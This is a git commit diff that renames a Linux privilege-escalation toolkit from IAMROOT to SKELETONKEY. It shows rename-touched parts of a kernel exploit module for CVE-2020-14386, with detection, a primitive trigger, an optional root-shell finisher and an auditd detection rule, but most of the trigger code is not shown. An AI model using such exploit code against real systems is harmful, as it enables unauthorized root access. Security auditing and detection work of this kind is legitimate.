rename: IAMROOT → SKELETONKEY across the entire project

Breaking change. Tool name, binary name, function/type names,
constant names, env vars, header guards, file paths, and GitHub
repo URL all rebrand IAMROOT → SKELETONKEY.

Changes:
  - All "IAMROOT" → "SKELETONKEY" (constants, env vars, enum
    values, docs, comments)
  - All "iamroot" → "skeletonkey" (functions, types, paths, CLI)
  - iamroot.c → skeletonkey.c
  - modules/*/iamroot_modules.{c,h} → modules/*/skeletonkey_modules.{c,h}
  - tools/iamroot-fleet-scan.sh → tools/skeletonkey-fleet-scan.sh
  - Binary "iamroot" → "skeletonkey"
  - GitHub URL KaraZajac/IAMROOT → KaraZajac/SKELETONKEY
  - .gitignore now expects build output named "skeletonkey"
  - /tmp/iamroot-* tmpfiles → /tmp/skeletonkey-*
  - Env vars IAMROOT_MODPROBE_PATH etc. → SKELETONKEY_*

New ASCII skeleton-key banner (horizontal key icon + ANSI Shadow
SKELETONKEY block letters) replaces the IAMROOT banner in
skeletonkey.c and README.md.

VERSION: 0.3.1 → 0.4.0 (breaking).

Build clean on Debian 6.12.86. `skeletonkey --version` → 0.4.0.
All 24 modules still register; no functional code changes — pure
rename + banner refresh.

modules/af_packet2_cve_2020_14386/NOTICE.md

@@ -16,7 +16,7 @@ Original advisory: <https://unit42.paloaltonetworks.com/cve-2020-14386/>
 Upstream fix: mainline 5.9 / stable 5.8.7 (Sept 2020).
 Branch backports: 5.8.7 / 5.7.16 / 5.4.62 / 4.19.143 / 4.14.197 / 4.9.235.
 
-## IAMROOT role
+## SKELETONKEY role
 
 Sibling of CVE-2017-7308; same subsystem, different code path.
 Fires the underflow via `tp_reserve` + sendmmsg sk_buff spray.
@@ -24,5 +24,5 @@ PRIMITIVE-DEMO scope by default (no cred overwrite). `--full-chain`
 attempts the Or-Cohen-style sk_buff data-pointer hijack through
 the shared finisher.
 
-Shares the `iamroot-af-packet` auditd key with the CVE-2017-7308
+Shares the `skeletonkey-af-packet` auditd key with the CVE-2017-7308
 module so detection signatures dedupe cleanly.

modules/af_packet2_cve_2020_14386/iamroot_modules.h

@@ -1,12 +0,0 @@
-/*
- * af_packet2_cve_2020_14386 — IAMROOT module registry hook
- */
-
-#ifndef AF_PACKET2_IAMROOT_MODULES_H
-#define AF_PACKET2_IAMROOT_MODULES_H
-
-#include "../../core/module.h"
-
-extern const struct iamroot_module af_packet2_module;
-
-#endif

modules/af_packet2_cve_2020_14386/skeletonkey_modules.c

@@ -1,5 +1,5 @@
 /*
- * af_packet2_cve_2020_14386 — IAMROOT module
+ * af_packet2_cve_2020_14386 — SKELETONKEY module
  *
  * AF_PACKET tpacket_rcv() VLAN tag parsing integer underflow → heap
  * write-before-allocation. Different bug from CVE-2017-7308 — same
@@ -10,12 +10,12 @@
  *   - Default (no --full-chain): the exploit() entry point reaches the
  *     vulnerable codepath (tpacket_rcv), fires the tp_reserve underflow
  *     with a crafted nested-VLAN frame on a TPACKET_V2 ring + sendmmsg
- *     skb spray groom, and returns IAMROOT_EXPLOIT_FAIL (primitive-only
+ *     skb spray groom, and returns SKELETONKEY_EXPLOIT_FAIL (primitive-only
  *     behavior — kernel-version-agnostic, no offsets baked in).
  *   - With --full-chain: after the underflow lands, we resolve kernel
  *     offsets (env → kallsyms → System.map → embedded table) and run
  *     an Or-Cohen-style sk_buff-data-pointer hijack through the shared
- *     iamroot_finisher_modprobe_path() helper. The arb-write itself is
+ *     skeletonkey_finisher_modprobe_path() helper. The arb-write itself is
  *     LAST-RESORT-DEPTH on this branch: the tp_reserve underflow gives
  *     us a single 8-byte heap-OOB write into the head of the
  *     adjacent-page slab object; we spray sk_buffs so that next-page
@@ -43,7 +43,7 @@
  * before backport. Embedded systems with 4.x kernels still in production.
  */
 
-#include "iamroot_modules.h"
+#include "skeletonkey_modules.h"
 #include "../../core/registry.h"
 #include "../../core/kernel_range.h"
 #include "../../core/offsets.h"
@@ -75,7 +75,7 @@
 #endif
 
 /* ---------- macOS / non-linux build stubs ---------------------------
- * Modules in IAMROOT are dev-built on macOS and run-built on Linux.
+ * Modules in SKELETONKEY are dev-built on macOS and run-built on Linux.
  * Provide empty stubs so syntax checks pass without Linux headers.
  * The exploit path is gated at runtime on the kernel version anyway,
  * so the stubs are never reached on macOS targets. */
@@ -148,12 +148,12 @@ static int can_unshare_userns(void)
     return WIFEXITED(status) && WEXITSTATUS(status) == 0;
 }
 
-static iamroot_result_t af_packet2_detect(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t af_packet2_detect(const struct skeletonkey_ctx *ctx)
 {
     struct kernel_version v;
     if (!kernel_version_current(&v)) {
         fprintf(stderr, "[!] af_packet2: could not parse kernel version\n");
-        return IAMROOT_TEST_ERROR;
+        return SKELETONKEY_TEST_ERROR;
     }
 
     /* Bug introduced in 4.6 (tpacket_rcv VLAN path). Pre-4.6 immune. */
@@ -162,7 +162,7 @@ static iamroot_result_t af_packet2_detect(const struct iamroot_ctx *ctx)
             fprintf(stderr, "[+] af_packet2: kernel %s predates the bug (introduced in 4.6)\n",
                     v.release);
         }
-        return IAMROOT_OK;
+        return SKELETONKEY_OK;
     }
 
     bool patched = kernel_range_is_patched(&af_packet2_range, &v);
@@ -170,7 +170,7 @@ static iamroot_result_t af_packet2_detect(const struct iamroot_ctx *ctx)
         if (!ctx->json) {
             fprintf(stderr, "[+] af_packet2: kernel %s is patched\n", v.release);
         }
-        return IAMROOT_OK;
+        return SKELETONKEY_OK;
     }
 
     int userns_ok = can_unshare_userns();
@@ -185,12 +185,12 @@ static iamroot_result_t af_packet2_detect(const struct iamroot_ctx *ctx)
         if (!ctx->json) {
             fprintf(stderr, "[+] af_packet2: user_ns denied → unprivileged exploit unreachable\n");
         }
-        return IAMROOT_PRECOND_FAIL;
+        return SKELETONKEY_PRECOND_FAIL;
     }
     if (!ctx->json) {
         fprintf(stderr, "[!] af_packet2: VULNERABLE — kernel in range AND user_ns reachable\n");
     }
-    return IAMROOT_VULNERABLE;
+    return SKELETONKEY_VULNERABLE;
 }
 
 /* ---- Exploit primitive (PRIMITIVE-DEMO scope) -------------------------
@@ -280,7 +280,7 @@ static int get_ifindex(const char *name)
 /* The primitive run; executed inside the unshare()'d child. Returns
  * 0 on "primitive fired", -1 on setup failure, +1 on "looks patched
  * at the kernel level (setsockopt rejected our crafted ring)". */
-static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
+static int af_packet2_primitive_child(const struct skeletonkey_ctx *ctx)
 {
     if (bring_up_lo() < 0) {
         fprintf(stderr, "[-] af_packet2: could not bring lo up (errno=%d)\n", errno);
@@ -441,7 +441,7 @@ static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
 }
 
 #else /* !__linux__: provide a stub for macOS sanity builds */
-static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
+static int af_packet2_primitive_child(const struct skeletonkey_ctx *ctx)
 {
     (void)ctx;
     fprintf(stderr, "[-] af_packet2: linux-only primitive — non-linux build\n");
@@ -473,7 +473,7 @@ static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
  * Reality check on this implementation: the deterministic mechanics
  * of the above (precise frame size, repeated spray timing, sk_buff
  * struct offset for the running kernel) are not portable enough to
- * land reliably from a single iamroot run on an arbitrary host. We
+ * land reliably from a single skeletonkey run on an arbitrary host. We
  * therefore ship this as a LAST-RESORT stub: we attempt the spray +
  * trigger sequence, then return -1 to signal "the primitive fired
  * but we cannot empirically confirm the write landed". The shared
@@ -486,7 +486,7 @@ static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
  * write-and-readback once the per-kernel sk_buff layout is pinned
  * down for the target host. */
 struct afp2_arb_ctx {
-    const struct iamroot_ctx *ictx;
+    const struct skeletonkey_ctx *ictx;
     int n_attempts;            /* spray/fire rounds before giving up */
 };
 
@@ -543,7 +543,7 @@ static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vc
     /* LAST-RESORT depth: we have fired the trigger + spray but cannot
      * empirically confirm the 8-byte write landed on an sk_buff->data
      * field on this host. Return -1 so the finisher's sentinel-check
-     * loop in iamroot_finisher_modprobe_path() correctly reports
+     * loop in skeletonkey_finisher_modprobe_path() correctly reports
      * "payload didn't run within 3s" rather than claiming success. */
     fprintf(stderr,
 "[!] af_packet2: arb_write LAST-RESORT depth — sk_buff->data hijack is\n"
@@ -563,11 +563,11 @@ static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vc
 }
 #endif
 
-static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t af_packet2_exploit(const struct skeletonkey_ctx *ctx)
 {
     /* 1. Re-confirm vulnerability. */
-    iamroot_result_t pre = af_packet2_detect(ctx);
-    if (pre != IAMROOT_VULNERABLE) {
+    skeletonkey_result_t pre = af_packet2_detect(ctx);
+    if (pre != SKELETONKEY_VULNERABLE) {
         fprintf(stderr, "[-] af_packet2: detect() says not vulnerable; refusing to exploit\n");
         return pre;
     }
@@ -575,13 +575,13 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
     /* 2. Refuse if already root. */
     if (geteuid() == 0) {
         fprintf(stderr, "[i] af_packet2: already running as root — nothing to escalate\n");
-        return IAMROOT_OK;
+        return SKELETONKEY_OK;
     }
 
     if (!ctx->authorized) {
         /* Defense in depth — the dispatcher should have gated this. */
         fprintf(stderr, "[-] af_packet2: --i-know not passed; refusing\n");
-        return IAMROOT_PRECOND_FAIL;
+        return SKELETONKEY_PRECOND_FAIL;
     }
 
     if (!ctx->json) {
@@ -597,7 +597,7 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
     pid_t pid = fork();
     if (pid < 0) {
         fprintf(stderr, "[-] af_packet2: fork failed: errno=%d\n", errno);
-        return IAMROOT_TEST_ERROR;
+        return SKELETONKEY_TEST_ERROR;
     }
     if (pid == 0) {
         if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
@@ -644,7 +644,7 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
         fprintf(stderr, "[-] af_packet2: primitive child crashed "
                         "(signal=%d) — likely KASAN/panic in tpacket_rcv\n",
                 WTERMSIG(status));
-        return IAMROOT_EXPLOIT_FAIL;
+        return SKELETONKEY_EXPLOIT_FAIL;
     }
     switch (WEXITSTATUS(status)) {
     case 3:
@@ -652,16 +652,16 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
             fprintf(stderr, "[+] af_packet2: kernel refused TPACKET_V2/RX_RING setup — "
                             "appears patched at runtime\n");
         }
-        return IAMROOT_OK;
+        return SKELETONKEY_OK;
     case 2:
-        return IAMROOT_TEST_ERROR;
+        return SKELETONKEY_TEST_ERROR;
     case 4:
         if (!ctx->json) {
             fprintf(stderr, "[~] af_packet2: primitive demonstrated; no cred overwrite "
                             "(scope = PRIMITIVE-DEMO)\n"
                             "    For end-to-end root, see Or Cohen's public PoC "
                             "(github.com/google/security-research).\n"
-                            "    iamroot intentionally does not embed per-kernel offsets.\n");
+                            "    skeletonkey intentionally does not embed per-kernel offsets.\n");
         }
         if (ctx->full_chain) {
 #if defined(__x86_64__) && defined(__linux__)
@@ -670,47 +670,47 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
              * finisher. Per the verified-vs-claimed bar: if we can't
              * resolve modprobe_path, refuse with a helpful message
              * rather than fabricate an address. */
-            struct iamroot_kernel_offsets off;
-            iamroot_offsets_resolve(&off);
-            if (!iamroot_offsets_have_modprobe_path(&off)) {
-                iamroot_finisher_print_offset_help("af_packet2");
-                return IAMROOT_EXPLOIT_FAIL;
+            struct skeletonkey_kernel_offsets off;
+            skeletonkey_offsets_resolve(&off);
+            if (!skeletonkey_offsets_have_modprobe_path(&off)) {
+                skeletonkey_finisher_print_offset_help("af_packet2");
+                return SKELETONKEY_EXPLOIT_FAIL;
             }
             if (!ctx->json) {
-                iamroot_offsets_print(&off);
+                skeletonkey_offsets_print(&off);
             }
             struct afp2_arb_ctx arb_ctx = {
                 .ictx = ctx,
                 .n_attempts = 4,
             };
-            return iamroot_finisher_modprobe_path(&off, afp2_arb_write,
+            return skeletonkey_finisher_modprobe_path(&off, afp2_arb_write,
                                                   &arb_ctx, !ctx->no_shell);
 #else
             fprintf(stderr, "[-] af_packet2: --full-chain is x86_64/linux only\n");
-            return IAMROOT_PRECOND_FAIL;
+            return SKELETONKEY_PRECOND_FAIL;
 #endif
         }
         if (ctx->no_shell) {
             /* User explicitly disabled the shell pop, so the "we didn't
              * pop a shell" outcome is the expected one. Map to OK. */
-            return IAMROOT_OK;
+            return SKELETONKEY_OK;
         }
-        return IAMROOT_EXPLOIT_FAIL;
+        return SKELETONKEY_EXPLOIT_FAIL;
     default:
         fprintf(stderr, "[-] af_packet2: primitive exited %d unexpectedly\n",
                 WEXITSTATUS(status));
-        return IAMROOT_EXPLOIT_FAIL;
+        return SKELETONKEY_EXPLOIT_FAIL;
     }
 }
 
 static const char af_packet2_auditd[] =
     "# AF_PACKET VLAN LPE (CVE-2020-14386) — auditd detection rules\n"
-    "# Same syscall surface as CVE-2017-7308 — share the iamroot-af-packet\n"
+    "# Same syscall surface as CVE-2017-7308 — share the skeletonkey-af-packet\n"
     "# key so one ausearch covers both. AF_PACKET socket creation from\n"
     "# non-root via userns is the canonical footprint.\n"
-    "-a always,exit -F arch=b64 -S socket -F a0=17 -k iamroot-af-packet\n";
+    "-a always,exit -F arch=b64 -S socket -F a0=17 -k skeletonkey-af-packet\n";
 
-const struct iamroot_module af_packet2_module = {
+const struct skeletonkey_module af_packet2_module = {
     .name           = "af_packet2",
     .cve            = "CVE-2020-14386",
     .summary        = "AF_PACKET tpacket_rcv VLAN integer underflow → heap-OOB write",
@@ -726,7 +726,7 @@ const struct iamroot_module af_packet2_module = {
     .detect_falco   = NULL,
 };
 
-void iamroot_register_af_packet2(void)
+void skeletonkey_register_af_packet2(void)
 {
-    iamroot_register(&af_packet2_module);
+    skeletonkey_register(&af_packet2_module);
 }

modules/af_packet2_cve_2020_14386/skeletonkey_modules.h

@@ -0,0 +1,12 @@
+/*
+ * af_packet2_cve_2020_14386 — SKELETONKEY module registry hook
+ */
+
+#ifndef AF_PACKET2_SKELETONKEY_MODULES_H
+#define AF_PACKET2_SKELETONKEY_MODULES_H
+
+#include "../../core/module.h"
+
+extern const struct skeletonkey_module af_packet2_module;
+
+#endif